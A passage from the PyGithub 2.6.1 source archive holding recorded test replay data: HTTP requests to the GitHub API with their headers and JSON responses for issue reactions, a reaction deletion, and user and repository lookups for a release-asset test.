('x-github-request-id', 'DC90:0DD5:E3F96:23634C:5A260380'), ('last-modified', 'Thu, 05 Oct 2017 15:30:52 GMT'), ('date', 'Tue, 05 Dec 2017 02:25:04 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1512444081')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/events","html_url":"https://github.com/PyGithub/PyGithub/issues/28","id":4653757,"number":28,"title":"Issue created by PyGithub","user":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"labels":[{"id":3330121,"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/bug","name":"bug","color":"e10c02","default":true},{"id":3376821,"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/question","name":"question","color":"02e10c","default":true}],"state":"closed","locked":false,"assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"assignees":[{"login":"jacquev6","id":327146,"avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false}],"milestone":{"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/8","html_url":"https://github.com/PyGithub/PyGithub/milestone/8","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/8/labels","id":150933,"number":8,"title":"Version 1.4","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"open_issues":0,"closed_issues":3,"state":"closed","created_at":"2012-07-24T16:04:28Z","updated_at":"2012-09-11T18:52:13Z","due_on":"2012-08-05T07:00:00Z","closed_at":"2012-08-04T06:11:43Z"},"comments":1,"created_at":"2012-05-19T10:38:23Z","updated_at":"2014-03-02T18:55:11Z","closed_at":"2012-05-26T14:59:33Z","author_association":"OWNER","body":"Body edited by PyGithub\n","closed_by":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Reaction.testAttributes.txt0000644000175100001660000000446014756101563023514 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/28/reactions {'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.squirrel-girl-preview', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '997'), ('x-runtime-rack', '0.067589'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"3255702d103ac91381269c771ab9b613"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DC91:0DD1:92019:143EEC:5A260380'), ('date', 'Tue, 05 Dec 2017 02:25:05 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1512444081')] [{"id":16916340,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"+1","created_at":"2017-12-05T01:59:33Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Reaction.testDelete.txt0000644000175100001660000001062214756101563022565 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/28/reactions {'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.squirrel-girl-preview', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '1997'), ('x-runtime-rack', '0.045551'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"dc03d894c8bdb011df59065d4fa90014"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4971'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'F51D:1F46:114547:27C60A:5A31E3B5'), ('date', 'Thu, 14 Dec 2017 02:36:39 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513221661')] [{"id":16916340,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"+1","created_at":"2017-12-05T01:59:33Z"},{"id":16917472,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"hooray","created_at":"2017-12-05T02:50:44Z"}] https DELETE api.github.com None /reactions/16916340 {'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.squirrel-girl-preview', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4970'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'F51E:1F46:1145B3:27C7E7:5A31E3B8'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('access-control-allow-origin', '*'), ('x-ratelimit-limit', '5000'), ('x-runtime-rack', '0.058497'), ('x-xss-protection', '1; mode=block'), ('date', 'Thu, 14 Dec 2017 02:36:41 GMT'), ('x-frame-options', 'deny'), ('x-oauth-scopes', 'repo, user'), ('content-type', 'application/octet-stream'), ('x-accepted-oauth-scopes', ''), ('x-ratelimit-reset', '1513221661')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ReleaseAsset.setUp.txt0000644000175100001660000005564514756101563022415 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '1220'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '4c8b2d4732c413f4b9aefe394bd65569'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"a692daa1e912efb3a9048cdbae74bf02"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '56BCFFD3:70D0:40D04D3:553A014A'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Thu, 23 Apr 2015 15:34:48 GMT'), ('date', 'Fri, 24 Apr 2015 08:39:39 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1429867683')] {"login":"edhollandAL","id":11922660,"avatar_url":"https://avatars.githubusercontent.com/u/11922660?v=3","gravatar_id":"","url":"https://api.github.com/users/edhollandAL","html_url":"https://github.com/edhollandAL","followers_url":"https://api.github.com/users/edhollandAL/followers","following_url":"https://api.github.com/users/edhollandAL/following{/other_user}","gists_url":"https://api.github.com/users/edhollandAL/gists{/gist_id}","starred_url":"https://api.github.com/users/edhollandAL/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/edhollandAL/subscriptions","organizations_url":"https://api.github.com/users/edhollandAL/orgs","repos_url":"https://api.github.com/users/edhollandAL/repos","events_url":"https://api.github.com/users/edhollandAL/events{/privacy}","received_events_url":"https://api.github.com/users/edhollandAL/received_events","type":"User","site_admin":false,"public_repos":3,"public_gists":0,"followers":0,"following":0,"created_at":"2015-04-13T09:58:53Z","updated_at":"2015-04-23T15:34:48Z","private_gists":0,"total_private_repos":0,"owned_private_repos":0,"disk_usage":0,"collaborators":0,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":0}} https GET api.github.com None /repos/edhollandAL/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '13980'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '4c8b2d4732c413f4b9aefe394bd65569'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"354bfbe5bc3193b117028111f8d7bf5d"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '56BCFFD3:70D4:71AB7A0:553A014B'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Thu, 23 Apr 2015 10:29:48 GMT'), ('date', 'Fri, 24 Apr 2015 08:39:39 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1429867683')] {"id":34449703,"name":"PyGithub","full_name":"edhollandAL/PyGithub","owner":{"login":"edhollandAL","id":11922660,"avatar_url":"https://avatars.githubusercontent.com/u/11922660?v=3","gravatar_id":"","url":"https://api.github.com/users/edhollandAL","html_url":"https://github.com/edhollandAL","followers_url":"https://api.github.com/users/edhollandAL/followers","following_url":"https://api.github.com/users/edhollandAL/following{/other_user}","gists_url":"https://api.github.com/users/edhollandAL/gists{/gist_id}","starred_url":"https://api.github.com/users/edhollandAL/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/edhollandAL/subscriptions","organizations_url":"https://api.github.com/users/edhollandAL/orgs","repos_url":"https://api.github.com/users/edhollandAL/repos","events_url":"https://api.github.com/users/edhollandAL/events{/privacy}","received_events_url":"https://api.github.com/users/edhollandAL/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/edhollandAL/PyGithub","description":"Python library implementing the GitHub API v3","fork":true,"url":"https://api.github.com/repos/edhollandAL/PyGithub","forks_url":"https://api.github.com/repos/edhollandAL/PyGithub/forks","keys_url":"https://api.github.com/repos/edhollandAL/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/edhollandAL/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/edhollandAL/PyGithub/teams","hooks_url":"https://api.github.com/repos/edhollandAL/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/edhollandAL/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/edhollandAL/PyGithub/events","assignees_url":"https://api.github.com/repos/edhollandAL/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/edhollandAL/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/edhollandAL/PyGithub/tags","blobs_url":"https://api.github.com/repos/edhollandAL/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/edhollandAL/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/edhollandAL/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/edhollandAL/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/edhollandAL/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/edhollandAL/PyGithub/languages","stargazers_url":"https://api.github.com/repos/edhollandAL/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/edhollandAL/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/edhollandAL/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/edhollandAL/PyGithub/subscription","commits_url":"https://api.github.com/repos/edhollandAL/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/edhollandAL/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/edhollandAL/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/edhollandAL/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/edhollandAL/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/edhollandAL/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/edhollandAL/PyGithub/merges","archive_url":"https://api.github.com/repos/edhollandAL/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/edhollandAL/PyGithub/downloads","issues_url":"https://api.github.com/repos/edhollandAL/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/edhollandAL/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/edhollandAL/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/edhollandAL/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/edhollandAL/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/edhollandAL/PyGithub/releases{/id}","created_at":"2015-04-23T10:29:45Z","updated_at":"2015-04-23T10:29:48Z","pushed_at":"2015-04-15T20:53:42Z","git_url":"git://github.com/edhollandAL/PyGithub.git","ssh_url":"git@github.com:edhollandAL/PyGithub.git","clone_url":"https://github.com/edhollandAL/PyGithub.git","svn_url":"https://github.com/edhollandAL/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":15962,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"parent":{"id":3544490,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=3","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Python library implementing the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","created_at":"2012-02-25T12:53:47Z","updated_at":"2015-04-23T16:36:27Z","pushed_at":"2015-04-15T20:53:42Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":15962,"stargazers_count":579,"watchers_count":579,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":160,"mirror_url":null,"open_issues_count":28,"forks":160,"open_issues":28,"watchers":579,"default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=3","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Python library implementing the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","created_at":"2012-02-25T12:53:47Z","updated_at":"2015-04-23T16:36:27Z","pushed_at":"2015-04-15T20:53:42Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":15962,"stargazers_count":579,"watchers_count":579,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":160,"mirror_url":null,"open_issues_count":28,"forks":160,"open_issues":28,"watchers":579,"default_branch":"master"},"network_count":160,"subscribers_count":1} https GET api.github.com None /repos/edhollandAL/PyGithub/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '1634'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', 'b0ef53392caa42315c6206737946d931'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"15acda75d23a5984668bc737c28405e1"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, 